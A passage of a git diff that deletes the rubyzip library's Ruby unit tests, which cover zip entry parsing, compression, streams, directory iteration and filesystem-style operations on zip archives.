Test::Unit::TestCase - TEST_ZIP = "zipWithDirs_copy.zip" - def setup - FileUtils.cp("data/zipWithDirs.zip", TEST_ZIP) - end - - def teardown - end - - def test_delete - do_test_delete_or_unlink(:delete) - end - - def test_unlink - do_test_delete_or_unlink(:unlink) - end - - def test_open_write - ZipFile.open(TEST_ZIP) { - |zf| - - zf.file.open("test_open_write_entry", "w") { - |f| - blockCalled = true - f.write "This is what I'm writing" - } - assert_equal("This is what I'm writing", - zf.file.read("test_open_write_entry")) - - # Test with existing entry - zf.file.open("file1", "wb") { #also check that 'b' option is ignored - |f| - blockCalled = true - f.write "This is what I'm writing too" - } - assert_equal("This is what I'm writing too", - zf.file.read("file1")) - } - end - - def test_rename - ZipFile.open(TEST_ZIP) { - |zf| - assert_raise(Errno::ENOENT, "") { - zf.file.rename("NoSuchFile", "bimse") - } - zf.file.rename("file1", "newNameForFile1") - } - - ZipFile.open(TEST_ZIP) { - |zf| - assert(! zf.file.exists?("file1")) - assert(zf.file.exists?("newNameForFile1")) - } - end - - def do_test_delete_or_unlink(symbol) - ZipFile.open(TEST_ZIP) { - |zf| - assert(zf.file.exists?("dir2/dir21/dir221/file2221")) - zf.file.send(symbol, "dir2/dir21/dir221/file2221") - assert(! zf.file.exists?("dir2/dir21/dir221/file2221")) - - assert(zf.file.exists?("dir1/file11")) - assert(zf.file.exists?("dir1/file12")) - zf.file.send(symbol, "dir1/file11", "dir1/file12") - assert(! zf.file.exists?("dir1/file11")) - assert(! zf.file.exists?("dir1/file12")) - - assert_raise(Errno::ENOENT) { zf.file.send(symbol, "noSuchFile") } - assert_raise(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11") } - assert_raise(Errno::EISDIR) { zf.file.send(symbol, "dir1/dir11/") } - } - - ZipFile.open(TEST_ZIP) { - |zf| - assert(! zf.file.exists?("dir2/dir21/dir221/file2221")) - assert(! zf.file.exists?("dir1/file11")) - assert(! zf.file.exists?("dir1/file12")) - - assert(zf.file.exists?("dir1/dir11")) - assert(zf.file.exists?("dir1/dir11/")) - } - end - -end - -class ZipFsDirectoryTest < Test::Unit::TestCase - TEST_ZIP = "zipWithDirs_copy.zip" - - def setup - FileUtils.cp("data/zipWithDirs.zip", TEST_ZIP) - end - - def test_delete - ZipFile.open(TEST_ZIP) { - |zf| - assert_raise(Errno::ENOENT, "No such file or directory - NoSuchFile.txt") { - zf.dir.delete("NoSuchFile.txt") - } - assert_raise(Errno::EINVAL, "Invalid argument - file1") { - zf.dir.delete("file1") - } - assert(zf.file.exists?("dir1")) - zf.dir.delete("dir1") - assert(! zf.file.exists?("dir1")) - } - end - - def test_mkdir - ZipFile.open(TEST_ZIP) { - |zf| - assert_raise(Errno::EEXIST, "File exists - dir1") { - zf.dir.mkdir("file1") - } - assert_raise(Errno::EEXIST, "File exists - dir1") { - zf.dir.mkdir("dir1") - } - assert(!zf.file.exists?("newDir")) - zf.dir.mkdir("newDir") - assert(zf.file.directory?("newDir")) - assert(!zf.file.exists?("newDir2")) - zf.dir.mkdir("newDir2", 3485) - assert(zf.file.directory?("newDir2")) - } - end - - def test_pwd_chdir_entries - ZipFile.open(TEST_ZIP) { - |zf| - assert_equal("/", zf.dir.pwd) - - assert_raise(Errno::ENOENT, "No such file or directory - no such dir") { - zf.dir.chdir "no such dir" - } - - assert_raise(Errno::EINVAL, "Invalid argument - file1") { - zf.dir.chdir "file1" - } - - assert_equal(["dir1", "dir2", "file1"].sort, zf.dir.entries(".").sort) - zf.dir.chdir "dir1" - assert_equal("/dir1", zf.dir.pwd) - assert_equal(["dir11", "file11", "file12"], zf.dir.entries(".").sort) - - zf.dir.chdir "../dir2/dir21" - assert_equal("/dir2/dir21", zf.dir.pwd) - assert_equal(["dir221"].sort, zf.dir.entries(".").sort) - } - end - - def test_foreach - ZipFile.open(TEST_ZIP) { - |zf| - - blockCalled = false - assert_raise(Errno::ENOENT, "No such file or directory - noSuchDir") { - zf.dir.foreach("noSuchDir") { |e| blockCalled = true } - } - assert(! blockCalled) - - assert_raise(Errno::ENOTDIR, "Not a directory - file1") { - zf.dir.foreach("file1") { |e| blockCalled = true } - } - assert(! blockCalled) - - entries = [] - zf.dir.foreach(".") { |e| entries << e } - assert_equal(["dir1", "dir2", "file1"].sort, entries.sort) - - entries = [] - zf.dir.foreach("dir1") { |e| entries << e } - assert_equal(["dir11", "file11", "file12"], entries.sort) - } - end - - def test_chroot - ZipFile.open(TEST_ZIP) { - |zf| - assert_raise(NotImplementedError) { - zf.dir.chroot - } - } - end - - # Globbing not supported yet - #def test_glob - # # test alias []-operator too - # fail "implement test" - #end - - def test_open_new - ZipFile.open(TEST_ZIP) { - |zf| - - assert_raise(Errno::ENOTDIR, "Not a directory - file1") { - zf.dir.new("file1") - } - - assert_raise(Errno::ENOENT, "No such file or directory - noSuchFile") { - zf.dir.new("noSuchFile") - } - - d = zf.dir.new(".") - assert_equal(["file1", "dir1", "dir2"].sort, d.entries.sort) - d.close - - zf.dir.open("dir1") { - |dir| - assert_equal(["dir11", "file11", "file12"].sort, dir.entries.sort) - } - } - end - -end - -class ZipFsDirIteratorTest < Test::Unit::TestCase - - FILENAME_ARRAY = [ "f1", "f2", "f3", "f4", "f5", "f6" ] - - def setup - @dirIt = ZipFileSystem::ZipFsDirIterator.new(FILENAME_ARRAY) - end - - def test_close - @dirIt.close - assert_raise(IOError, "closed directory") { - @dirIt.each { |e| p e } - } - assert_raise(IOError, "closed directory") { - @dirIt.read - } - assert_raise(IOError, "closed directory") { - @dirIt.rewind - } - assert_raise(IOError, "closed directory") { - @dirIt.seek(0) - } - assert_raise(IOError, "closed directory") { - @dirIt.tell - } - - end - - def test_each - # Tested through Enumerable.entries - assert_equal(FILENAME_ARRAY, @dirIt.entries) - end - - def test_read - FILENAME_ARRAY.size.times { - |i| - assert_equal(FILENAME_ARRAY[i], @dirIt.read) - } - end - - def test_rewind - @dirIt.read - @dirIt.read - assert_equal(FILENAME_ARRAY[2], @dirIt.read) - @dirIt.rewind - assert_equal(FILENAME_ARRAY[0], @dirIt.read) - end - - def test_tell_seek - @dirIt.read - @dirIt.read - pos = @dirIt.tell - valAtPos = @dirIt.read - @dirIt.read - @dirIt.seek(pos) - assert_equal(valAtPos, @dirIt.read) - end - -end - - -# Copyright (C) 2002, 2003 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/ziprequiretest.rb b/lib/zip/test/ziprequiretest.rb deleted file mode 100755 index 68d2c714ed..0000000000 --- a/lib/zip/test/ziprequiretest.rb +++ /dev/null @@ -1,43 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'test/unit' -require 'zip/ziprequire' - -$: << 'data/rubycode.zip' << 'data/rubycode2.zip' - -class ZipRequireTest < Test::Unit::TestCase - def test_require - assert(require('data/notzippedruby')) - assert(!require('data/notzippedruby')) - - assert(require('zippedruby1')) - assert(!require('zippedruby1')) - - assert(require('zippedruby2')) - assert(!require('zippedruby2')) - - assert(require('zippedruby3')) - assert(!require('zippedruby3')) - - c1 = NotZippedRuby.new - assert(c1.returnTrue) - assert(ZippedRuby1.returnTrue) - assert(!ZippedRuby2.returnFalse) - assert_equal(4, ZippedRuby3.multiplyValues(2, 2)) - end - - def test_get_resource - get_resource("aResource.txt") { - |f| - assert_equal("Nothing exciting in this file!", f.read) - } - end -end - -# Copyright (C) 2002 Thomas Sondergaard -# rubyzip is free software; you can redistribute it and/or -# modify it under the terms of the ruby license. diff --git a/lib/zip/test/ziptest.rb b/lib/zip/test/ziptest.rb deleted file mode 100755 index aa07ffe848..0000000000 --- a/lib/zip/test/ziptest.rb +++ /dev/null @@ -1,1623 +0,0 @@ -#!/usr/bin/env ruby - -$VERBOSE = true - -$: << "../lib" - -require 'test/unit' -require 'fileutils' -require 'zip/zip' -require 'gentestfiles' - -include Zip - - -class ZipEntryTest < Test::Unit::TestCase - TEST_ZIPFILE = "someZipFile.zip" - TEST_COMMENT = "a comment" - TEST_COMPRESSED_SIZE = 1234 - TEST_CRC = 325324 - TEST_EXTRA = "Some data here" - TEST_COMPRESSIONMETHOD = ZipEntry::DEFLATED - TEST_NAME = "entry name" - TEST_SIZE = 8432 - TEST_ISDIRECTORY = false - - def test_constructorAndGetters - entry = ZipEntry.new(TEST_ZIPFILE, - TEST_NAME, - TEST_COMMENT, - TEST_EXTRA, - TEST_COMPRESSED_SIZE, - TEST_CRC, - TEST_COMPRESSIONMETHOD, - TEST_SIZE) - - assert_equal(TEST_COMMENT, entry.comment) - assert_equal(TEST_COMPRESSED_SIZE, entry.compressed_size) - assert_equal(TEST_CRC, entry.crc) - assert_instance_of(Zip::ZipExtraField, entry.extra) - assert_equal(TEST_COMPRESSIONMETHOD, entry.compression_method) - assert_equal(TEST_NAME, entry.name) - assert_equal(TEST_SIZE, entry.size) - assert_equal(TEST_ISDIRECTORY, entry.is_directory) - end - - def test_is_directoryAndIsFile - assert(ZipEntry.new(TEST_ZIPFILE, "hello").file?) - assert(! ZipEntry.new(TEST_ZIPFILE, "hello").directory?) - - assert(ZipEntry.new(TEST_ZIPFILE, "dir/hello").file?) - assert(! ZipEntry.new(TEST_ZIPFILE, "dir/hello").directory?) - - assert(ZipEntry.new(TEST_ZIPFILE, "hello/").directory?) - assert(! ZipEntry.new(TEST_ZIPFILE, "hello/").file?) - - assert(ZipEntry.new(TEST_ZIPFILE, "dir/hello/").directory?) - assert(! ZipEntry.new(TEST_ZIPFILE, "dir/hello/").file?) - end - - def test_equality - entry1 = ZipEntry.new("file.zip", "name", "isNotCompared", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry2 = ZipEntry.new("file.zip", "name", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry3 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extra", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry4 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 123, 1234, - ZipEntry::DEFLATED, 10000) - entry5 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 1234, - ZipEntry::DEFLATED, 10000) - entry6 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::DEFLATED, 10000) - entry7 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 10000) - entry8 = ZipEntry.new("file.zip", "name2", "isNotComparedXXX", - "something extraXX", 12, 123, - ZipEntry::STORED, 100000) - - assert_equal(entry1, entry1) - assert_equal(entry1, entry2) - - assert(entry2 != entry3) - assert(entry3 != entry4) - assert(entry4 != entry5) - assert(entry5 != entry6) - assert(entry6 != entry7) - assert(entry7 != entry8) - - assert(entry7 != "hello") - assert(entry7 != 12) - end - - def test_compare - assert_equal(0, (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "a"))) - assert_equal(1, (ZipEntry.new("zf.zip", "b") <=> ZipEntry.new("zf.zip", "a"))) - assert_equal(-1, (ZipEntry.new("zf.zip", "a") <=> ZipEntry.new("zf.zip", "b"))) - - entries = [ - ZipEntry.new("zf.zip", "5"), - ZipEntry.new("zf.zip", "1"), - ZipEntry.new("zf.zip", "3"), - ZipEntry.new("zf.zip", "4"), - ZipEntry.new("zf.zip", "0"), - ZipEntry.new("zf.zip", "2") - ] - - entries.sort! - assert_equal("0", entries[0].to_s) - assert_equal("1", entries[1].to_s) - assert_equal("2", entries[2].to_s) - assert_equal("3", entries[3].to_s) - assert_equal("4", entries[4].to_s) - assert_equal("5", entries[5].to_s) - end - - def test_parentAsString - entry1 = ZipEntry.new("zf.zip", "aa") - entry2 = ZipEntry.new("zf.zip", "aa/") - entry3 = ZipEntry.new("zf.zip", "aa/bb") - entry4 = ZipEntry.new("zf.zip", "aa/bb/") - entry5 = ZipEntry.new("zf.zip", "aa/bb/cc") - entry6 = ZipEntry.new("zf.zip", "aa/bb/cc/") - - assert_equal(nil, entry1.parent_as_string) - assert_equal(nil, entry2.parent_as_string) - assert_equal("aa/", entry3.parent_as_string) - assert_equal("aa/", entry4.parent_as_string) - assert_equal("aa/bb/", entry5.parent_as_string) - assert_equal("aa/bb/", entry6.parent_as_string) - end - - def test_entry_name_cannot_start_with_slash - assert_raise(ZipEntryNameError) { ZipEntry.new("zf.zip", "/hej/der") } - end -end - -module IOizeString - attr_reader :tell - - def read(count = nil) - @tell ||= 0 - count = size unless count - retVal = slice(@tell, count) - @tell += count - return retVal - end - - def seek(index, offset) - @tell ||= 0 - case offset - when IO::SEEK_END - newPos = size + index - when IO::SEEK_SET - newPos = index - when IO::SEEK_CUR - newPos = @tell + index - else - raise "Error in test method IOizeString::seek" - end - if (newPos < 0 || newPos >= size) - raise Errno::EINVAL - else - @tell=newPos - end - end - - def reset - @tell = 0 - end -end - -class ZipLocalEntryTest < Test::Unit::TestCase - def test_read_local_entryHeaderOfFirstTestZipEntry - File.open(TestZipFile::TEST_ZIP3.zip_name, "rb") { - |file| - entry = ZipEntry.read_local_entry(file) - - assert_equal("", entry.comment) - # Differs from windows and unix because of CR LF - # assert_equal(480, entry.compressed_size) - # assert_equal(0x2a27930f, entry.crc) - # extra field is 21 bytes long - # probably contains some unix attrutes or something - # disabled: assert_equal(nil, entry.extra) - assert_equal(ZipEntry::DEFLATED, entry.compression_method) - assert_equal(TestZipFile::TEST_ZIP3.entry_names[0], entry.name) - assert_equal(File.size(TestZipFile::TEST_ZIP3.entry_names[0]), entry.size) - assert(! entry.is_directory) - } - end - - def test_readDateTime - File.open("data/rubycode.zip", "rb") { - |file| - entry = ZipEntry.read_local_entry(file) - assert_equal("zippedruby1.rb", entry.name) - assert_equal(Time.at(1019261638), entry.time) - } - end - - def test_read_local_entryFromNonZipFile - File.open("data/file2.txt") { - |file| - assert_equal(nil, ZipEntry.read_local_entry(file)) - } - end - - def test_read_local_entryFromTruncatedZipFile - zipFragment="" - File.open(TestZipFile::TEST_ZIP2.zip_name) { |f| zipFragment = f.read(12) } # local header is at least 30 bytes - zipFragment.extend(IOizeString).reset - entry = ZipEntry.new - entry.read_local_entry(zipFragment) - fail "ZipError expected" - rescue ZipError - end - - def test_writeEntry - entry = ZipEntry.new("file.zip", "entryName", "my little comment", - "thisIsSomeExtraInformation", 100, 987654, - ZipEntry::DEFLATED, 400) - write_to_file("localEntryHeader.bin", "centralEntryHeader.bin", entry) - entryReadLocal, entryReadCentral = read_from_file("localEntryHeader.bin", "centralEntryHeader.bin") - compare_local_entry_headers(entry, entryReadLocal) - compare_c_dir_entry_headers(entry, entryReadCentral) - end - - private - def compare_local_entry_headers(entry1, entry2) - assert_equal(entry1.compressed_size , entry2.compressed_size) - assert_equal(entry1.crc , entry2.crc) - assert_equal(entry1.extra , entry2.extra) - assert_equal(entry1.compression_method, entry2.compression_method) - assert_equal(entry1.name , entry2.name) - assert_equal(entry1.size , entry2.size) - assert_equal(entry1.localHeaderOffset, entry2.localHeaderOffset) - end - - def compare_c_dir_entry_headers(entry1, entry2) - compare_local_entry_headers(entry1, entry2) - assert_equal(entry1.comment, entry2.comment) - end - - def write_to_file(localFileName, centralFileName, entry) - File.open(localFileName, "wb") { |f| entry.write_local_entry(f) } - File.open(centralFileName, "wb") { |f| entry.write_c_dir_entry(f) } - end - - def read_from_file(localFileName, centralFileName) - localEntry = nil - cdirEntry = nil - File.open(localFileName, "rb") { |f| localEntry = ZipEntry.read_local_entry(f) } - File.open(centralFileName, "rb") { |f| cdirEntry = ZipEntry.read_c_dir_entry(f) } - return [localEntry, cdirEntry] - end -end - - -module DecompressorTests - # expects @refText, @refLines and @decompressor - - TEST_FILE="data/file1.txt" - - def setup - @refText="" - File.open(TEST_FILE) { |f| @refText = f.read } - @refLines = @refText.split($/) - end - - def test_readEverything - assert_equal(@refText, @decompressor.sysread) - end - - def test_readInChunks - chunkSize = 5 - while (decompressedChunk = @decompressor.sysread(chunkSize)) - assert_equal(@refText.slice!(0, chunkSize), decompressedChunk) - end - assert_equal(0, @refText.size) - end - - def test_mixingReadsAndProduceInput - # Just some preconditions to make sure we have enough data for this test - assert(@refText.length > 1000) - assert(@refLines.length > 40) - - - assert_equal(@refText[0...100], @decompressor.sysread(100)) - - assert(! @decompressor.input_finished?) - buf = @decompressor.produce_input - assert_equal(@refText[100...(100+buf.length)], buf) - end -end - -class InflaterTest < Test::Unit::TestCase - include DecompressorTests - - def setup - super - @file = File.new("data/file1.txt.deflatedData", "rb") - @decompressor = Inflater.new(@file) - end - - def teardown - @file.close - end -end - - -class PassThruDecompressorTest < Test::Unit::TestCase - include DecompressorTests - def setup - super - @file = File.new(TEST_FILE) - @decompressor = PassThruDecompressor.new(@file, File.size(TEST_FILE)) - end - - def teardown - @file.close - end -end - - -module AssertEntry - def assert_next_entry(filename, zis) - assert_entry(filename, zis, zis.get_next_entry.name) - end - - def assert_entry(filename, zis, entryName) - assert_equal(filename, entryName) - assert_entryContentsForStream(filename, zis, entryName) - end - - def assert_entryContentsForStream(filename, zis, entryName) - File.open(filename, "rb") { - |file| - expected = file.read - actual = zis.read - if (expected != actual) - if ((expected && actual) && (expected.length > 400 || actual.length > 400)) - zipEntryFilename=entryName+".zipEntry" - File.open(zipEntryFilename, "wb") { |f| f << actual } - fail("File '#{filename}' is different from '#{zipEntryFilename}'") - else - assert_equal(expected, actual) - end - end - } - end - - def AssertEntry.assert_contents(filename, aString) - fileContents = "" - File.open(filename, "rb") { |f| fileContents = f.read } - if (fileContents != aString) - if (fileContents.length > 400 || aString.length > 400) - stringFile = filename + ".other" - File.open(stringFile, "wb") { |f| f << aString } - fail("File '#{filename}' is different from contents of string stored in '#{stringFile}'") - else - assert_equal(fileContents, aString) - end - end - end - - def assert_stream_contents(zis, testZipFile) - assert(zis != nil) - testZipFile.entry_names.each { - |entryName| - assert_next_entry(entryName, zis) - } - assert_equal(nil, zis.get_next_entry) - end - - def assert_test_zip_contents(testZipFile) - ZipInputStream.open(testZipFile.zip_name) { - |zis| - assert_stream_contents(zis, testZipFile) - } - end - - def assert_entryContents(zipFile, entryName, filename = entryName.to_s) - zis = zipFile.get_input_stream(entryName) - assert_entryContentsForStream(filename, zis, entryName) - ensure - zis.close if zis - end -end - - - -class ZipInputStreamTest < Test::Unit::TestCase - include AssertEntry - - def test_new - zis = ZipInputStream.new(TestZipFile::TEST_ZIP2.zip_name) - assert_stream_contents(zis, TestZipFile::TEST_ZIP2) - assert_equal(true, zis.eof?) - zis.close - end - - def test_openWithBlock - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - assert_stream_contents(zis, TestZipFile::TEST_ZIP2) - assert_equal(true, zis.eof?) - } - end - - def test_openWithoutBlock - zis = ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) - assert_stream_contents(zis, TestZipFile::TEST_ZIP2) - end - - def test_incompleteReads - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - entry = zis.get_next_entry # longAscii.txt - assert_equal(false, zis.eof?) - assert_equal(TestZipFile::TEST_ZIP2.entry_names[0], entry.name) - assert zis.gets.length > 0 - assert_equal(false, zis.eof?) - entry = zis.get_next_entry # empty.txt - assert_equal(TestZipFile::TEST_ZIP2.entry_names[1], entry.name) - assert_equal(0, entry.size) - assert_equal(nil, zis.gets) - assert_equal(true, zis.eof?) - entry = zis.get_next_entry # empty_chmod640.txt - assert_equal(TestZipFile::TEST_ZIP2.entry_names[2], entry.name) - assert_equal(0, entry.size) - assert_equal(nil, zis.gets) - assert_equal(true, zis.eof?) - entry = zis.get_next_entry # short.txt - assert_equal(TestZipFile::TEST_ZIP2.entry_names[3], entry.name) - assert zis.gets.length > 0 - entry = zis.get_next_entry # longBinary.bin - assert_equal(TestZipFile::TEST_ZIP2.entry_names[4], entry.name) - assert zis.gets.length > 0 - } - end - - def test_rewind - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - e = zis.get_next_entry - assert_equal(TestZipFile::TEST_ZIP2.entry_names[0], e.name) - - # Do a little reading - buf = "" - buf << zis.read(100) - buf << (zis.gets || "") - buf << (zis.gets || "") - assert_equal(false, zis.eof?) - - zis.rewind - - buf2 = "" - buf2 << zis.read(100) - buf2 << (zis.gets || "") - buf2 << (zis.gets || "") - - assert_equal(buf, buf2) - - zis.rewind - assert_equal(false, zis.eof?) - - assert_entry(e.name, zis, e.name) - } - end - - def test_mix_read_and_gets - ZipInputStream.open(TestZipFile::TEST_ZIP2.zip_name) { - |zis| - e = zis.get_next_entry - assert_equal("#!/usr/bin/env ruby", zis.gets.chomp) - assert_equal(false, zis.eof?) - assert_equal("", zis.gets.chomp) - assert_equal(false, zis.eof?) - assert_equal("$VERBOSE =", zis.read(10)) - assert_equal(false, zis.eof?) - } - end - -end - - -module CrcTest - - class TestOutputStream - include IOExtras::AbstractOutputStream - - attr_accessor :buffer - - def initialize - @buffer = "" - end - - def << (data) - @buffer << data - self - end - end - - def run_crc_test(compressorClass) - str = "Here's a nice little text to compute the crc for! Ho hum, it is nice nice nice nice indeed." - fakeOut = TestOutputStream.new - - deflater = compressorClass.new(fakeOut) - deflater << str - assert_equal(0x919920fc, deflater.crc) - end -end - - - -class PassThruCompressorTest < Test::Unit::TestCase - include CrcTest - - def test_size - File.open("dummy.txt", "wb") { - |file| - compressor = PassThruCompressor.new(file) - - assert_equal(0, compressor.size) - - t1 = "hello world" - t2 = "" - t3 = "bingo" - - compressor << t1 - assert_equal(compressor.size, t1.size) - - compressor << t2 - assert_equal(compressor.size, t1.size + t2.size) - - compressor << t3 - assert_equal(compressor.size, t1.size + t2.size + t3.size) - } - end - - def test_crc - run_crc_test(PassThruCompressor) - end -end - -class DeflaterTest < Test::Unit::TestCase - include CrcTest - - def test_outputOperator - txt = load_file("data/file2.txt") - deflate(txt, "deflatertest.bin") - inflatedTxt = inflate("deflatertest.bin") - assert_equal(txt, inflatedTxt) - end - - private - def load_file(fileName) - txt = nil - File.open(fileName, "rb") { |f| txt = f.read } - end - - def deflate(data, fileName) - File.open(fileName, "wb") { - |file| - deflater = Deflater.new(file) - deflater << data - deflater.finish - assert_equal(deflater.size, data.size) - file << "trailing data for zlib with -MAX_WBITS" - } - end - - def inflate(fileName) - txt = nil - File.open(fileName, "rb") { - |file| - inflater = Inflater.new(file) - txt = inflater.sysread - } - end - - def test_crc - run_crc_test(Deflater) - end -end - -class ZipOutputStreamTest < Test::Unit::TestCase - include AssertEntry - - TEST_ZIP = TestZipFile::TEST_ZIP2.clone - TEST_ZIP.zip_name = "output.zip" - - def test_new - zos = ZipOutputStream.new(TEST_ZIP.zip_name) - zos.comment = TEST_ZIP.comment - write_test_zip(zos) - zos.close - assert_test_zip_contents(TEST_ZIP) - end - - def test_open - ZipOutputStream.open(TEST_ZIP.zip_name) { - |zos| - zos.comment = TEST_ZIP.comment - write_test_zip(zos) - } - assert_test_zip_contents(TEST_ZIP) - end - - def test_writingToClosedStream - assert_i_o_error_in_closed_stream { |zos| zos << "hello world" } - assert_i_o_error_in_closed_stream { |zos| zos.puts "hello world" } - assert_i_o_error_in_closed_stream { |zos| zos.write "hello world" } - end - - def test_cannotOpenFile - name = TestFiles::EMPTY_TEST_DIR - begin - zos = ZipOutputStream.open(name) - rescue Exception - assert($!.kind_of?(Errno::EISDIR) || # Linux - $!.kind_of?(Errno::EEXIST) || # Windows/cygwin - $!.kind_of?(Errno::EACCES), # Windows - "Expected Errno::EISDIR (or on win/cygwin: Errno::EEXIST), but was: #{$!.class}") - end - end - - def test_put_next_entry - stored_text = "hello world in stored text" - entry_name = "file1" - comment = "my comment" - ZipOutputStream.open(TEST_ZIP.zip_name) do - |zos| - zos.put_next_entry(entry_name, comment, nil, ZipEntry::STORED) - zos << stored_text - end - - fdata = File.read(TEST_ZIP.zip_name) - if fdata.respond_to? :force_encoding - fdata.force_encoding("binary") - end - assert(fdata.split("\n").grep(stored_text)) - ZipFile.open(TEST_ZIP.zip_name) do - |zf| - assert_equal(stored_text, zf.read(entry_name)) - end - end - - def assert_i_o_error_in_closed_stream - assert_raise(IOError) { - zos = ZipOutputStream.new("test_putOnClosedStream.zip") - zos.close - yield zos - } - end - - def write_test_zip(zos) - TEST_ZIP.entry_names.each { - |entryName| - zos.put_next_entry(entryName) - File.open(entryName, "rb") { |f| zos.write(f.read) } - } - end -end - - - -module Enumerable - def compare_enumerables(otherEnumerable) - otherAsArray = otherEnumerable.to_a - index=0 - each_with_index { - |element, i| - return false unless yield(element, otherAsArray[i]) - } - return index+1 == otherAsArray.size - end -end - - -class ZipCentralDirectoryEntryTest < Test::Unit::TestCase - - def test_read_from_stream - File.open("data/testDirectory.bin", "rb") { - |file| - entry = ZipEntry.read_c_dir_entry(file) - - assert_equal("longAscii.txt", entry.name) - assert_equal(ZipEntry::DEFLATED, entry.compression_method) - assert_equal(106490, entry.size) - assert_equal(3784, entry.compressed_size) - assert_equal(0xfcd1799c, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal("empty.txt", entry.name) - assert_equal(ZipEntry::STORED, entry.compression_method) - assert_equal(0, entry.size) - assert_equal(0, entry.compressed_size) - assert_equal(0x0, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal("short.txt", entry.name) - assert_equal(ZipEntry::STORED, entry.compression_method) - assert_equal(6, entry.size) - assert_equal(6, entry.compressed_size) - assert_equal(0xbb76fe69, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal("longBinary.bin", entry.name) - assert_equal(ZipEntry::DEFLATED, entry.compression_method) - assert_equal(1000024, entry.size) - assert_equal(70847, entry.compressed_size) - assert_equal(0x10da7d59, entry.crc) - assert_equal("", entry.comment) - - entry = ZipEntry.read_c_dir_entry(file) - assert_equal(nil, entry) -# Fields that are not check by this test: -# version made by 2 bytes -# version needed to extract 2 bytes -# general purpose bit flag 2 bytes -# last mod file time 2 bytes -# last mod file date 2 bytes -# compressed size 4 bytes -# uncompressed size 4 bytes -# disk number start 2 bytes -# internal file attributes 2 bytes -# external file attributes 4 bytes -# relative offset of local header 4 bytes - -# file name (variable size) -# extra field (variable size) -# file comment (variable size) - - } - end - - def test_ReadEntryFromTruncatedZipFile - fragment="" - File.open("data/testDirectory.bin") { |f| fragment = f.read(12) } # cdir entry header is at least 46 bytes - fragment.extend(IOizeString) - entry = ZipEntry.new - entry.read_c_dir_entry(fragment) - fail "ZipError expected" - rescue ZipError - end - -end - - -class ZipEntrySetTest < Test::Unit::TestCase - ZIP_ENTRIES = [ - ZipEntry.new("zipfile.zip", "name1", "comment1"), - ZipEntry.new("zipfile.zip", "name2", "comment1"), - ZipEntry.new("zipfile.zip", "name3", "comment1"), - ZipEntry.new("zipfile.zip", "name4", "comment1"), - ZipEntry.new("zipfile.zip", "name5", "comment1"), - ZipEntry.new("zipfile.zip", "name6", "comment1") - ] - - def setup - @zipEntrySet = ZipEntrySet.new(ZIP_ENTRIES) - end - - def test_include - assert(@zipEntrySet.include?(ZIP_ENTRIES.first)) - assert(! @zipEntrySet.include?(ZipEntry.new("different.zip", "different", "aComment"))) - end - - def test_size - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.length) - @zipEntrySet << ZipEntry.new("a", "b", "c") - assert_equal(ZIP_ENTRIES.size + 1, @zipEntrySet.length) - end - - def test_add - zes = ZipEntrySet.new - entry1 = ZipEntry.new("zf.zip", "name1") - entry2 = ZipEntry.new("zf.zip", "name2") - zes << entry1 - assert(zes.include?(entry1)) - zes.push(entry2) - assert(zes.include?(entry2)) - end - - def test_delete - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - entry = @zipEntrySet.delete(ZIP_ENTRIES.first) - assert_equal(ZIP_ENTRIES.size - 1, @zipEntrySet.size) - assert_equal(ZIP_ENTRIES.first, entry) - - entry = @zipEntrySet.delete(ZIP_ENTRIES.first) - assert_equal(ZIP_ENTRIES.size - 1, @zipEntrySet.size) - assert_nil(entry) - end - - def test_each - # Tested indirectly via each_with_index - count = 0 - @zipEntrySet.each_with_index { - |entry, index| - assert(ZIP_ENTRIES.include?(entry)) - count = count.succ - } - assert_equal(ZIP_ENTRIES.size, count) - end - - def test_entries - assert_equal(ZIP_ENTRIES.sort, @zipEntrySet.entries.sort) - end - - def test_compound - newEntry = ZipEntry.new("zf.zip", "new entry", "new entry's comment") - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - @zipEntrySet << newEntry - assert_equal(ZIP_ENTRIES.size + 1, @zipEntrySet.size) - assert(@zipEntrySet.include?(newEntry)) - - @zipEntrySet.delete(newEntry) - assert_equal(ZIP_ENTRIES.size, @zipEntrySet.size) - end - - def test_dup - copy = @zipEntrySet.dup - assert_equal(@zipEntrySet, copy) - - # demonstrate that this is a deep copy - copy.entries[0].name = "a totally different name" - assert(@zipEntrySet != copy) - end - - def test_parent - entries = [ - ZipEntry.new("zf.zip", "a"), - ZipEntry.new("zf.zip", "a/"), - ZipEntry.new("zf.zip", "a/b"), - ZipEntry.new("zf.zip", "a/b/"), - ZipEntry.new("zf.zip", "a/b/c"), - ZipEntry.new("zf.zip", "a/b/c/") - ] - entrySet = ZipEntrySet.new(entries) - - assert_equal(nil, entrySet.parent(entries[0])) - assert_equal(nil, entrySet.parent(entries[1])) - assert_equal(entries[1], entrySet.parent(entries[2])) - assert_equal(entries[1], entrySet.parent(entries[3])) - assert_equal(entries[3], entrySet.parent(entries[4])) - assert_equal(entries[3], entrySet.parent(entries[5])) - end - - def test_glob - res = 